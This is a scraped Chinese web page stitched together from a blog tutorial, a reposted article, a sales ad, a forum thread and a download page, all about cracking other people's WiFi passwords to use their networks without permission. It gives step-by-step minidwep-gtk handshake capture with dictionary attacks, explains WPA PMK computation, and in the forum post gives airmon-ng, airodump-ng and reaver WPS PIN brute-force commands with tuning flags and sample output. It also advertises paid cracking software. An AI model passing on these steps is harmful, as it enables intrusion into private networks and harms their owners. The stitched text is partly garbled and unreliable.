教你如何破解WiFi密码？
教你如何破解WiFi密码？
最近收到特别多的朋友留言问怎么蹭网？你是不是也遇见过搜索附近的无线网络显示有一大串，但是每个都有密码！内心真的是有许多无奈！今天电脑黑客就和你们一起分享学习怎么蹭网！
首先我们需要一个可用来破解的无线网卡，我们也叫它卡王。这类网卡的核心芯片市面上主要有两种，一种是8187，另一种是3070，前者便宜一点，后者性能好很多。我们推荐使用3070的网卡，这对我们的破解很有利的，因为这款网卡对信号强度的要求不高，能够大大提高破解成功率。
这里我们使用到的软件有：无线网卡驱动程序（8187的网卡对应的是RT的网卡对应的是RT3070）；虚拟机VMware；还有最重要的就是我们的破解程序，这些都被集成在一个LINUX系统镜像文件（pjwifi.iso）中了。这些软件大家可以到网上去搜索下载。有了这些如软件之后我们首先把网卡驱动和虚拟机先安装到我们的电脑上。
创建虚拟机并加载镜像文件
虚拟机安装好后，我们可以点击下面这一项创建一个虚拟机。
注意：系统选择LINUX下的Other Linux 2.6.x kernel
虚拟机创建完成后，就可以加载我们的镜像系统文件wifipj.iso了。
启动虚拟机并加载无线网卡到虚拟机
由于我们的破解工作是在虚拟机中进行的，所以必须得把网卡切换到虚拟机中进行工作。
方法是：虚拟机启动之后，点击菜单栏上的VM--Removable Devices--（我们无线网卡的名称）--Connect(Disconnect from Host)
同样，如果我们要把网卡从虚拟机中切换回我们主系统来的话，也是点击这一项，只是这个时候的连接（Connect）和断开连接（Disconnect）是反过来的。
二、破解篇
以上工作完成之后，就可以进入真正地破解流程了。
截获数据包跑字典破解法
将网卡切换到虚拟机后点击minidwep-gtk
点击OK进入破解程序，选择wpa/wpa2选项，点击SCAN进行周围信号扫描。
得到信号列表，我们选择强度最高的这个信号来破解。
点击Lanch进行数据包抓取。
接下来，我们就可以耐心等待了。只要我们选择的这个无线路由上有主机在与其通信，我们就能顺利截获到数据包，并弹出下面的窗口。
提示叫我选择字典来查找密码，我们可以点击OK，选择本程序自带的一本密码来跑一下试试。
双击字典进行查找。
如果运气好，主人设置的密码比较简单，在我们这个字典里面刚好能找到的话，那么要不了很长时间，就能得到我们梦寐以求的密码了，哈哈！
发表评论：
馆藏&77352
TA的推荐TA的最新馆藏wpa2无线网络密码破解软件 - 绿盟文章
wpa2无线网络密码破解软件在动手破解WPA/WPA2前，应该先了解一下基础知识，本文适合新手阅读 首先大家要明白一种数学运算，它叫做哈希算法（hash），这是一种不可逆运算，你不能通过运算结果来求解出原来的未知数是多少，有时我们还需要不同的未知数通过该算法计算后得到的结果不能相同，即你不太可能找到两个不同的值通过哈希得到同一个结果。哈希是一类算法的统称，通常哈希算法都是公开的，比如MD5，SHA-1等等。; 目前的破解方法是我们获得握手包后，用我们字典中的PSK+ssid先生成PMK（如果有HASH表则略过），然后结合握手包中的（客户端MAC，AP的BSSID，A-NONCE，S-NONCE）计算PTK，再加上原始的报文数据算出MIC并与AP发送的MIC比较，如果一致，那么该PSK就是密钥。 目前最耗时的就是算PMK，可谓破解的瓶颈。即使搞定了运算量的问题，海量的密钥存储也是个问题（PMK都是64字节长度）！ 最近出来的tkiptun-ng只是可以解开使用tkip加密了的数据包，并不是说能够快速算出PMK或PSK。如果感兴趣，可以到书店看看讲哈希的书，说不定你把这些HASH算法都破解出来了。 wpa_supplicant套件中有个小工具,叫做wpa_passphrase,它和airolib-ng的作用差不多，都是用来生成PMK，在backtrack中应该自带这个工具。比如有个ssid为TP-LINK，PSK是，那么生成PMK的方法就是wpa_passphrase TP-LINK ，结果应该是这样： network={ ssid="TP-LINK" #psk="" psk=1eecc652ff985a96de0d21bcda psk=1eecc652ff985a96de0d21bcda其实就是PMK了，一般在电脑上运行查看无线密码的软件就是得到这个，把1eecc652ff985a96de0d21bcda直接输入到无线客户端中就可以连上该ssid，相当于输入了，生成PMK的过程是不可逆的，即无法通过1eecc652ff985a96de0d21bcda来逆推得到。jiafly可以看到同样是psk是，如果ssid名字改变，那么pmk就会发生改变，这就是为什么用airolib-ng建表是只能按ssid生成。 下面进入正题
&--{PS..0}--&-
本教程用于探索无线路由安全漏洞，禁止用于非法用途，违者法律必究（与我无关）在动手破解WPA/WPA2前，应该先了解一下基础知识，本文适合新手阅读 首先大家要明白一种数学运算，它叫做哈希算法（hash），这是一种不可逆运算，你不能
后得到的结果不能相同，即你不太可能找到两个不同的值通过哈希得到同一个结果。哈希是一类算法的统称，通常哈希算法都是公开的，比如jiafly，MD5，SHA-1等等。; 我们平时说的WPA密码其实叫PSK（pre-shared key），长度一般是8-63字节，它加上ssid通过一定的算法可以得到PMK（pairwise master key）。PMK=SHA-1(ssid,psk) ，PMK的长度是定长的，都是64字节。由于计算PMK的过程开销比较大，是我们破解花费时间长的关键，所以采用以空间换时间的原则把PMK事先生成好，这个事先生成好的表就是常说的HASH表（生成PMK的算法是一种哈希），这个工作就是用airlib-ng这个工具来完成的，我们的快速破解就是这么来的。 目前的破解方法是我们获得握手包后，用我们字典中的PSK+ssid先生成PMK（如果有HASH表则略过），然后结合握手包中的（客户端MAC，AP的BSSID，A-NONCE，S-NONCE）计算PTK，再加上原始的报文数据算出MIC并与AP发送的MIC比较，如果一致，那么该PSK就是密钥。 目前最耗时的就是算PMK，可谓破解的瓶颈。即使搞定了运算量的问题，海量的密钥存储也是个问题（PMK都是64字节长度）！ 最近出来的tkiptun-ng只是可以解开使用tkip加密了的数据包，并不是说能够快速算出PMK或PSK。如果感兴趣，可以到书店看看讲哈希的书，说不定你把这些HASH算法都破解出来了。 wpa_supplicant套件中有个小工具,叫做wpa_passphrase,它和airolib-ng的作用差不多，都是用来生成PMK，在backtrack中应该自带这个工具。比如有个ssid为TP-LINK，PSK是，那么生成PMK的方法就是wpa_passphrase TP-LINK ，结果应该是这样： network={ ssid="TP-LINK" #psk="" psk=1eecc652ff985a96de0d21bcda psk=1eecc652ff985a96de0d21bcda其实就是PMK了，一般在电脑上运行查看无线密码的软件就是得到这个，把1eecc652ff985a96de0d21bcda直接输入到无线客户端中就可以连上该ssid，相当于输入了，生成PMK的过程是不可逆的，即无法通过1eecc652ff985a96de0d21bcda来逆推得到。可以看到同样是psk是，如果ssid名字改变，那么pmk就会发生改变，这就是为什么用airolib-ng建表是只能按ssid生成。
首先下载“ -0.9.6.1 ISO无线破解系统” & 或者 &（随时失效）然后准备好虚拟机，我用的
/soft/6/56/2009/Soft_57644.html
但是为了方便跑包（暴力破解密码），还是在win下用虚拟机比较方便 硬件方面，我用卡皇或者卡王，芯片8187的或者的芯片！ 大家可以根据自己实际情况安排
首先安装完vm（绿色版直接运行）我就是绿色版 出现如下画面
2、继续下一步
然后还是下一步 3、这个吗就是默认了，直接下一步
&这里客户机操作系统选择linux， 4、这就是选择操作系统和内核，很重要，按照我的选择就ok &
6、我还是下一步&
7、因为cd容量很小，130mb多的文件，你给他200mb就够了！我给他1g 到现在基本上一个虚拟机雏形基本上诞生 接下来最后一步 也是最重要一步 给他一个iso包 &
8、给他一个路径，让他知道你的iso在哪儿！就这么简单 接下来你就可以启动虚拟机了！ 接下来
这里选择中文，你应该知道吧？ 系统启动，选择语言界面，这里你选择中文，如果你是外国人，选择外语，我相信看到这儿都是中国人吧？
虚拟机启动ing 启动过后才是令人激动地时刻 嘿嘿 接下来 第二部：破解wep/wpa2 &
系统启动成功，桌面 1、系统启动啦，这就是桌面！咋样？熟悉吧？很像win的！很容易上手
2、然后打开第二排的第一个软件minidwep-gtk~~出现此对话框，直接点ok！就过去了使用minidwep-gtk,打开后选加密方式wap/wap2,点扫描，。
&4、够激动吧？看到没有？ sssid---就是扫描到无线接入点的mac地址 pwr：信号强度 data：这句是所谓的数据包最后面的essid就知道了吧？那就是你扫描到的路由名称！这样就明白了吧？当然了，如果没有数据包的话，你还是省省吧！毕竟是破解！没有数据包代表抓不到握手包，抓不到握手包怎样破解呢？所以还是需要数据量的！然后抓到握手包以后就开始破解啦！ &5、怎么样？嘿嘿，看到了吧？软件已经搜索到了wpa2加密的方式的路由器！当然了，软件的搜索方式是一起搜索，也就是wep，wpa2一起搜索，看看软件左边栏的“加密方式”你选择wep就会显示wep方式加密的路由，你选择wpa2就会显示wpa2方式加密的路由，咱们这儿讲的是破解wpa2加密方式的路由！所以wep一笔带过！如果是破解wep的路由，直接右边栏的“启动”按钮，剩下的几乎不用动手自动搜索密码（前提是有数据包哦！） &6、接下来开始抓取握手包，看图片最后面一行字，抓到一个握手包，正在等待认证，等待认证后就会给你提示！告诉你已经抓到一个握手包，然后就可以破解啦!（当然，抓取握手包是需要耐心的，有时候rp暴增，没准上来就能抓到，我这儿抓了十几分钟才抓到）
&7、基本上已经成功，剩下的就是破解啦！这里开始进入破解第一部，跑包，开始测试密码！
&8、接下来，把你的字典贡献给minidwep-gtk！嘿嘿，这个都会了吧？我给他一个默认的字典，就是最后一个wordlist.txt。你可以根据情况来选择字典，其实我上藏了3g多的字典呢！嘿嘿，不过这个路由是弱口令的！所以这个字典足够了！
&9、这下子就解密啦，成功啦！！！嘿嘿，哈哈！！！看见wpakey： 这就是密码！这个密码牛屄吧？够弱智吧？！哈哈哈
10、昨天写的仓促，忘了告诉的大家，虚拟机运行cd是不支持内置网卡的，所以需要设置一下的！很简单，我就不上图了！打开vm以后，看上面菜单栏里面有个“虚拟机”然后下来看到“可移动设备”，然后看到你的usb网卡，然后打上对勾就ok了！简单吧！嘿嘿 嘿嘿，同志们别拍砖破解wpa不是开玩笑！关键是你的机器是否够强悍！字典是不是够多！！！ 如果你的机器够强悍，跑包跑到几十万的话！字典收藏几百G，估计你不能破解的密码不多了！不过呢现在无线破解高手那边有最新的WPA 2破解技术！成功率说是可以在%80左右！无线技术很深，建议无线朋友大家多学习！
文章来自绿盟()转载请注明来路。
上一篇文章：义乌万能破解WPA WEP无线网络软件 支持网卡（卡皇.卡王.雷影.雷龙.绿盾等等）只要是B 3070芯片的都支持。 完美一键破解WPA.WPA2 不需抓包 不需有无客户端 直接攻击破解 破解不出wpa WPA2 密码完全退款 。此万能破解软件 50元一张 带视频教程
同城免费上门安装260-380元一套
满意后付款 客服QQ:电话网上订购 货到付款-义乌热线物流
义乌物流信息平台
义乌热线通行证登陆
服务电话：0
万能破解WPA WEP无线网络软件 支持网卡（卡皇.卡王.雷影.雷龙.绿盾等等）只要是B 3070芯片的都支持。 完美一键破解WPA.WPA2 不需抓包 不需有无客户端 直接攻击破解 破解不出wpa WPA2 密码完全退款 。此万能破解软件 50元一张 带视频教程
同城免费上门安装260-380元一套
满意后付款 客服QQ:电话网上订购 货到付款
万能破解WPA WEP无线网络软件 支持网卡（卡皇.卡王.雷影.雷龙.绿盾等等）只要是B 3070芯片的都支持。 完美一键破解WPA.WPA2 不需抓包 不需有无客户端 直接攻击破解 破解不出wpa WPA2 密码完全退款 。此万能破解软件 50元一张 带视频教程
同城免费上门安装260-380元一套
满意后付款 客服QQ:电话网上订购 货到付款
发布时间：
联系人： 陈先生还没有帐号？ 赶紧
用户版块帖子
125304阅读
100%破解wifi密码~真正的黑客手段
UID：777917
在线时间3959小时
M币1532专家1
声明：本文仅供安全学习用途&&&&全文主要围绕aircrack和reaver这两个工具，与暴力破解不同,aircrack和reaver基本上100%能够得到密码,并且,无论正主随便怎样修改密码,只要我们之前得到过一次密码和pin码,就能根据pin码得到最新的密码。整个过程中,无视密码的复杂程度,即便是数字字母字符组合的也没关系的，实属破解pin码，居家旅行之必备良药。方法一.kali linux破解破除无线网卡不支持的界限,让每个人都能够爽一把1.下载kali镜像,安装双系统(我是这样干的,当然,也可以用虚拟机装,这个没有亲测,所以不知道可不可靠)镜像和双系统教程,后面会贴出来(希望大家能够完整的看完这个帖子,然后选择自己想要的方式,然后仔细看一遍相应的教程)2.打开终端,分别输入命令airmon-ng start wlan0&&&& airodump-ng mon0出现以下东西,当然,这是我这边的啦,每个人的都不一样啦,这就是查看附近有哪些wifi信号的一个非常重要的说明,只有开啦wps的才能pin出pin码和wifi密码,怎么看是不是开啦wps呢?看到下面很多54e么,如果54e后面有.,就说明开啦wps啦CH 11 ][ Elapsed: 36 s ][
04:46&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&BSSID&&&&&&&&&&&&&&PWR&&Beacons&&&&#Data, #/s&&CH&&MB&& ENC&&CIPHER AUTH ESSID&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&00:0E:2E:FD:C4:BB&& -1&&&&&&&&0&&&&&&&&0&&&&0&&-1&&-1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 4C:E6:76:60:3F:20&&-13&&&&&&123&&&&&&&&0&&&&0&&11&&54e&&WPA2 CCMP&& PSK&&cuier-1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&B0:48:7A:52:F4:72&&-23&&&&&& 42&&&&&&&&0&&&&0&& 1&&54e. WPA2 CCMP&& PSK&&FAST_52F472&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&8C:21:0A:5F:A2:FA&&-35&&&&&& 28&&&&&&&&0&&&&0&& 1&&54e. WPA2 CCMP&& PSK&&TP-LINK_5FA2FA&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& E0:05:C53:3F:00&&-42&&&&&& 33&&&&&&&&0&&&&0&& 2&&54e. WPA2 CCMP&& PSK&&TP-LINK_D33F00&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& EC:17:2F:7D:12:1E&&-49&&&&&& 56&&&&&&&&1&&&&0&& 6&&54e. WPA2 CCMP&& PSK&&wg7788&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& B0:48:7A:5D:22:EA&&-51&&&&&& 36&&&&&&&&0&&&&0&& 6&&54e. WPA2 CCMP&& PSK&&TP-LINK_1202&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& C4:CA9:6D:6F:B0&&-52&&&&&& 30&&&&&& 10&&&&0&&11&&54e. OPN&&&&&&&&&&&&&&ChinaNet&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 8C:21:0A:8F:2F:1A&&-54&&&&&& 18&&&&&&&&0&&&&0&& 1&&54e. WPA2 CCMP&& PSK&&hechengyv&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&E0:05:C5:C5:70:E8&&-55&&&&&& 15&&&&&&&&0&&&&0&& 4&&54e. WPA2 CCMP&& PSK&&wtangqiu&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& C8:3A:35:5518&&-55&&&&&& 20&&&&&&&&2&&&&0&& 7&&54e. WPA&&CCMP&& PSK&&Tenda_55D1D8&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 8C:21:0A:84:89:8C&&-56&&&&&& 24&&&&&&&&0&&&&0&& 1&&54e. WPA2 CCMP&& PSK&&BATE&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& C4:CA9:6D:5F:60&&-55&&&&&& 15&&&&&&&&2&&&&0&& 6&&54e. OPN&&&&&&&&&&&&&&ChinaNet&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& EC:17:2F:54:01:2E&&-56&&&&&& 13&&&&&&&&0&&&&0&& 1&&54e. WPA2 CCMP&& PSK&&diguadawang&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&5C:63:BF:74:56:52&&-53&&&&&& 18&&&&&&&&2&&&&0&& 1&&54e. WPA2 CCMP&& PSK&&cocohe&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 08:10:76:40:C2:92&&-58&&&&&& 21&&&&&&&&0&&&&0&& 1&&54e&&WPA2 CCMP&& PSK&&flytv&&&&&&再说说里面的一些参数BSSID:待会我们需要用到的东西,也就是所谓的MAC地址PWR:信号强度,绝对值越小,说明信号越好,越容易pin出来其他的参数就没啥好说的啦3.开始进入破解阶段啦如果上面的信号源觉得差不多啦,那么按ctrl+c终止监视然后输入如下格式代码reaver -i mon0 -b MAC -vvreaver -i mon0 -b B0:48:7A:52:F4:72 -vv但是,对于一些不同的信号源,我们一般会作出一些调整,使得pin的过程更顺利些-i 监听后接口名称-b 目标mac地址-a 自动检测目标AP最佳配置-S 使用最小的DH key（可以提高PJ速度）-vv 显示更多的非严重警告-d 即delay每穷举一次的闲置时间 预设为1秒-t 即timeout每次穷举等待反馈的最长时间-c指定频道可以方便找到信号，如-c1 指定1频道，大家查看自己的目标频道做相应修改 （非TP-LINK路由推荐–d9 –t9参数防止路由僵死)示例：reaver -i mon0 -b MAC -a -S –d9 –t9 -vv）应因状况调整参数（-c后面都已目标频道为1作为例子）目标信号非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1目标信号普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1目标信号一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1一般来说,我不喜欢在后面加-c参数比如说我的信号普通我就是reaver -i mon0 -b MAC -a -S -vv -d 2 -t 5root&&:~/soft/reaver-1.4#&&reaver&&-i&&mon0&&-b 8C:21:0A:5F:A2:FA&&-a&&-S&&-vv&&-d2&&-t 5&&Reaver v1.4 WiFi Protected Setup Attack ToolCopyright (c) 2011, Tactical Network Solutions, Craig Heffner &&[+] Switching mon0 to channel 1[+] Waiting for beacon from 8C:21:0A:5F:A2:FA[+] Associated with 8C:21:0A:5F:A2:FA (ESSID: TP-LINK_5FA2FA)[+] Trying pin [+] Sending EAPOL START request[+] Received identity request[+] Sending identity response[+] Received M1 message[+] Sending M2 message[+] Received M3 message[+] Sending M4 message[+] Received WSC NACK[+] Sending WSC NACK[+] Trying pin [+] Sending EAPOL START request[+] Received identity request[+] Sending identity response[+] Received M1 message[+] Sending M2 message[+] Received M3 message[+] Sending M4 message[+] Received WSC NACK[+] Sending WSC NACK[+] Trying pin [+] Sending EAPOL START request上面8位数的数字就是我们说的pin码,整个的过程,其实就是先算前面四位数,有一万种可能,如果前面四位数找到啦,整个破解过程进度直接跳到90%,哪怕你第一个码,然后pin码前四位确实是1234,那么,我只想说,你实在是人品爆发啦;前面四位数出来之后,就是后面四位数啦,需要运算1000次,所以整个加起来就是11000次啦,所以,就算人品再差,跑完11000次,密码就出来了。这里想要强调一个事,那就是速度问题,根据硬件问题,还有信号问题,pin的速度,每个人都不大一样,比如我就是比较一般,10秒一pin,这个怎么看呢?[+] 17.30% complete @&& 08:46:21 (9 seconds/pin)后面的这个就是啦4.得到最后的pin码和wifi密码[+] Received WSC NACK[+] Sending WSC NACK[+] Trying pin [+] Sending EAPOL START request[+] Received identity request[+] Sending identity response[+] Received M1 message[+] Sending M2 message[+] Received M3 message[+] Sending M4 message[+] Received M5 message[+] Sending M6 message[+] Received M7 message[+] Sending WSC NACK[+] Sending WSC NACK[+] Pin cracked in 55276 seconds[+] WPS PIN: ';[+] WPA PSK: '************'[+] AP SSID: 'TP-LINK_5FA2FA'后面这个就是pin码和wifi密码,wifi密码我就用*号表示。一些需要注意的地方1.全过程科院随时中断,ctrl+v就行,下次想要继续运行,那么分别按最开始的步骤来就是啦,.会从进度接着开始2.如果知道pin码的前面四位,那么直接运行如下命令reaver-i mon0 -b MAC -a -vv -p XXXX(PIN 前四位数,参数加在数字前面)3.最后会生成一个wpc文件,只要有这个文件,以后随便他们怎么改密码,只要运行一下,密码就出来啦(PS:我没试过唉,按照整个原理来说,我觉得就是这样的,或者是按照知道pin码前面四位的方式来,我们知道pin码的所有八位,这样我觉得就不需要那个wpc文件啦)方法二:CD Linux系统对网卡有要求,需要8187或者3070型号的网卡,但是如果网上shopping合适的网卡,如USB网卡,那感觉绝对爽爆了这里我就不详细说明啦,因为后面给的链接,有非常详细的视频教程,视频教程中出现的工具,也全部准备好了的。
本帖提到的人:
謝謝分享,麻烦
现在在路上发现有很多无线设备
UID：834393
在线时间4976小时
M币2999专家5
如果对方开启防pin？关闭wps？100%哪里来的
LZ是转帖的，他自己压根不懂。
UID：1102450
在线时间1347小时
M币168专家1
现在的新路由大部分都有防pin码的，不是那么容易的，CD Linux我用过，破解也不是那么容易的。
UID：843512
在线时间2960小时
M币32926专家46
我的无线都是绑定MAC的，对于这种破解基本无视
UID：623764
在线时间776小时
M币6133专家5
:我的无线都是绑定MAC的，对于这种破解基本无视 ( 16:07) 连接路由后，扫描得到你的MAC，把MAC、IP修改成和你的一样，同归于尽的说~~
绑定MAC，非列表内的MAC是无法连接路由的，除非你直接上人家屋子里面有线连接
UID：623764
在线时间776小时
M币6133专家5
回 nokia5320 的帖子
:如果对方开启防pin？关闭wps？100%哪里来的[表情]  ( 15:44) 抓包、跑包。。。时间问题。。。
UID：1578347
在线时间884小时
M币2277专家3
关闭WPS并绑定MAC的路过
UID：177263
在线时间254小时
M币302专家2
回 洲上舟 的帖子
:抓包、跑包。。。时间问题。。。 ( 16:12) 如果上web认证或radius呢？
UID：1174719
在线时间542小时
M币1479专家0
LZ是转帖的，他自己压根不懂。 无线论坛老鸟路过
UID：1474035
在线时间751小时
M币1869专家30
不用时我是关路由器电源的，欢迎黑客前来蹭网。
“新手上路”发帖需审核后才能显示(请认真发帖)，达到数码9级后取消此限制
您目前还是游客，请
&回复后跳转到最后一页
Code by , Time now is:07-15 17:58,
Gzip enabled&(蹭网卡)无线网卡无线路由破解工具下载_蹭网必备工具西西软件下载
西西软件下载最安全的下载网站、值得信赖的软件下载站！
相关软件 /中文/ /中文/ /中文/ /中文/ /中文/ /中文/ /英文/ /中文/ /中文/ /中文/顶好评:50%踩坏评:50请简要描述您遇到的错误，我们将尽快予以修正。轮坛转帖HTML方式轮坛转帖UBB方式
10.9M/中文/8.4
13.0M/中文/6.8
5.3M/中文/5.2
16.8M/中文/7.3
7.6M/中文/8.5
10.9M/中文/8.1
15.0M/中文/9.0
&此软件是我使用效率最高的一款PJ软件，比BT3\BT4都好用 说是专用其实只要是3070都可以使用，无线路由安全检测工具请勿作为他用，支持、8187B等USB网卡使用，8187L不支持请勿下载一键安装内置 PJ教程及配套管理软件教程如：以前安装过，软件检测出已经有虚拟机在运行 请用软件的修复功能修复即可正常使用，详细见内置说明无毒、无插件、无流氓 软件启动中。。。。。。下图是已经进入破解软件里面的桌面一直等到桌面出现一个大“飞机”图片，就已经启动进入破解系统了。鼠标切换：如果鼠标进入破解软件里面出不来，注意看破解软件左下角有个提示 同时按住Ctrl + Alt 键 鼠标就能在破解软件和系统之间切换了请手动把网卡切换给破解软件使用，位置在菜单“虚拟机》可移动设备》ralink 802.11n usb wirless lan card》链接（与主机断开连接）” 如果没有出现ralink请修复软件再次打开修复：开始菜单》程序》无线破解软件》修复 点鼠标修复就OK了第一次会提示安装驱动回到破解软件里面去，重新打开minidwep-gtk软件。打开破解软件：鼠标移动到底下中间位置，运行“miniwep-gtk”软件 点击“扫描”等待绿色调子走完。选择你想破解的路由器点“启动”开始破解密码。（根据系统快慢，一般需要等一会）只要看如下图显示的 IVS数量 有数字在快速增长 这个密码一般很快会出来（破解速度和您机器的反应速度、距离远近等都有一定关系）一般出密码从之间出密码，如果超过60000还没有出密码，关掉这个破解软件，重新打开 再破解。
安卓官方手机版
IOS官方手机版
&见到有的网友说不知道怎么使用，软件下载后直接安装 完成后在开始菜单里面会有》无线PJ软件》B使用教程 需要安装VM虚拟机。已安装有好可以直接使用。
虽然现在很多互联网厂商都发布了旗下的无线硬件产品，不过对于拥有内置无线网卡的用户来说我们完全可以通过下载一些软件来共享网络。现在猎豹小米等都开发了随身，如果不想花钱买这些产品，这里西西给大家整理了一些
中文 / 19KBWIFI共享精灵采用Connectify内核
中文 / 10.3M众所周知校园网的网络是有限制的
中文 / 9.6MWiFi共享大师可以在有无线网卡的
中文 / 1.3M金山卫士WiFi一键共享，令你的无
中文 / 1.4MWIFI共享精灵手机版是一
中文 / 3.3M新毒霸WiFi共享，无论您在酒店、
免费只得是可以免费使用的手机软件，安全卫士免费共享精灵猎豹免费等软件均能轻松实现。在日常生活中，我们用到手机免费软件的时候非常多，无论是在工作环境还是家庭生活中都离不开免费，西西为您推荐最好用的手机免
中文 / 7.0M迄今最靠谱的找免费WiFi神器，36
中文 / 10.3M众所周知校园网的网络是有限制的
中文 / 5.6Mwifi万能要是一款自动获取周边wi
中文 / 2.8M手机WIFI信号不爱好，wifi信号增
中文 / 1.4M一款非常专业的无线网络信号扫描
中文 / 131.1M蹭网的利器在原版基础上精简Spoo
西西专区为您提供所有相关客户端下载，包含随身各版本所有驱动和免费是什么只是一个模式，就是插在你联网的电脑上，扩散信号，你手机可以搜到并且免费上网无线有哪些免费手机版免费电脑版随身驱动电脑版随身手机版连
中文 / 7.0M迄今最靠谱的找免费WiFi神器，36
中文 / 13.0M360免费WiFi，共享网络共享爱！电
中文 / 20.1M360随身WiFi是设置简单、便捷的无
中文 / 8.5M&#随身WiFi 4G
中文 / 3.9M&#随身WiFi官方提供的驱
中文 / 1.3M360随身WiFi 4G版管理界面针对手
西西软件园提供大量免费的热点软件，现在很多厂商都发布了随身，可以给笔记本设置热点，然后供手机等电子设备无线上网，看电视剧电影啥的不用担心卡顿，再也不用担心流量超标或不够用啦。现在猎豹小米等都开发了随身
中文 / 5.8M多点免费WIFI是一款免费的wifi热
中文 / 2.1M爱wifi是由原wifi热点助手改版而
中文 / 480KB这款一键创建无线wifi热点工具可
中文 / 283KB吾爱破解一键创建Wifi热点(创建无
英文 / 4M 笔记本做wifi热点(Bzeek)
中文 / 778KBWIN7快速创建WIFI热点(FastWiFi)
猎豹免费不用购买任何硬件。绿色纯净无需安装，下载运行后电脑瞬间变无线路由器。从此手机免费上网，从此尽享无线快乐,,猎豹免费有哪些版本猎豹免费官网目前发布了猎豹免费原版猎豹免费校园神器版和猎豹免费万能驱动
中文 / 10.3M众所周知校园网的网络是有限制的
中文 / 52.6M猎豹免费WiFi是一款免费、极简的
中文 / 24KB您的电脑是否有遇到电脑无故出现
中文 / 3.3M新毒霸WiFi共享，无论您在酒店、
中文 / 6.2MWIFI共享精灵只需一步，让你的电
中文 / 16.8M猎豹清理大师（原金山清理大师）
百度 下载点
(蹭网卡)无线网卡无线路由PJ程序
下载帮助西西破解版软件均来自互联网, 如有侵犯您的版权, 请与我们联系。}